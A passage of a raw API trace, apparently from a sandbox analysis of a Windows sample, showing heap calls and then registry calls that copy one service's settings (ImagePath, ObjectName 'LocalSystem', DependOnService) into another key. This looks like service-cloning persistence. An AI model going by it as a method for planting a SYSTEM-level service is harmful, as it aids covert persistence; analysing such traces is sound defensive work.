Size=0x40) returned 0x21f1d60 [0191.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0191.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0191.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0191.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0191.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0191.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0191.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0191.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0191.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0191.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0191.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0191.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0191.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0191.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0191.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0191.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bc08) returned 1 [0191.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0191.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0191.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0191.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0191.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0191.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0191.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0191.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0191.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0191.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0191.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0191.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0191.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0191.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0191.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0191.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0191.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21573f8) returned 1 [0191.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0191.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0191.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0191.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0191.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0191.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0191.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0191.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0191.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0191.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0191.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0191.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0191.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0191.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0191.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0191.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0191.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x50) returned 0x252dd90 [0191.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0191.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0191.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0191.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0191.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x50) returned 0x219ddd8 [0191.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0191.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0191.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0191.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0191.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0191.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0191.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0191.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0191.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0191.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0191.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0191.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0191.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0191.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0191.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0191.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0191.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0191.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4070 [0191.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0191.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0191.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0191.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0191.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0191.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0191.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0191.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0191.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0191.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0191.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0191.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4220 [0191.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0191.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0191.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0191.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0191.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0191.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0191.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0191.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0191.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0191.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d348) returned 1 [0191.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0191.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0191.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0191.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0191.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0191.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0191.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0191.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d548) returned 1 [0191.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0191.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0191.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0191.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0191.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0191.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0191.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0191.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0191.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0191.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0191.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0191.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0191.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d448) returned 1 [0191.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0191.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0191.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0191.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0191.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0191.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d418) returned 1 [0191.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252dd90) returned 1 [0191.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0191.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x50) returned 0x219de30 [0191.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0191.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0191.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0191.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0191.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0191.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0191.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0191.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0191.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0191.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0191.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0191.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0191.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0191.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0191.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0191.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0191.106] RegSetValueExA (in: hKey=0x140, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x21f4ea8*, cbData=0x195 | out: lpData=0x21f4ea8*) returned 0x0 [0191.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0191.106] RegSetValueExA (in: hKey=0x140, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0191.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0191.107] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.107] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.107] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.107] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.107] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.107] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.107] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.107] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.107] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.107] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.107] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.107] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0191.107] RegQueryValueExA (in: hKey=0x140, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0xc) returned 0x0 [0191.107] RegQueryValueExA (in: hKey=0x140, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f1850, lpcbData=0x36f45c*=0xc | out: lpType=0x36f454*=0x1, lpData="LocalSystem", lpcbData=0x36f45c*=0xc) returned 0x0 [0191.108] RegQueryValueExA (in: hKey=0x14c, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0xc) returned 0x0 [0191.108] RegQueryValueExA (in: hKey=0x14c, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f1850, lpcbData=0x36f45c*=0xc | out: lpType=0x36f454*=0x1, lpData="LocalSystem", lpcbData=0x36f45c*=0xc) returned 0x0 [0191.108] RegSetValueExA (in: hKey=0x140, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0191.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0191.108] RegSetValueExA (in: hKey=0x140, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0191.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0191.108] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.108] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.108] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.108] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.108] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.108] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.108] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.108] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.108] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.109] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.109] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.109] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0191.109] RegQueryValueExA (in: hKey=0x140, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x0, lpData=0x0, lpcbData=0x36f45c*=0x0) returned 0x2 [0191.109] RegQueryValueExA (in: hKey=0x14c, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x7, lpData=0x0, lpcbData=0x36f45c*=0x7) returned 0x0 [0191.109] RegQueryValueExA (in: hKey=0x14c, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x21f1928, lpcbData=0x36f45c*=0x7 | out: lpType=0x36f454*=0x7, lpData=0x21f1928*, lpcbData=0x36f45c*=0x7) returned 0x0 [0191.109] RegSetValueExA (in: hKey=0x140, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0191.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0191.109] RegSetValueExA (in: hKey=0x140, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0191.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0191.109] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.109] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.109] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.109] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.110] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.110] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.110] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0191.110] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, 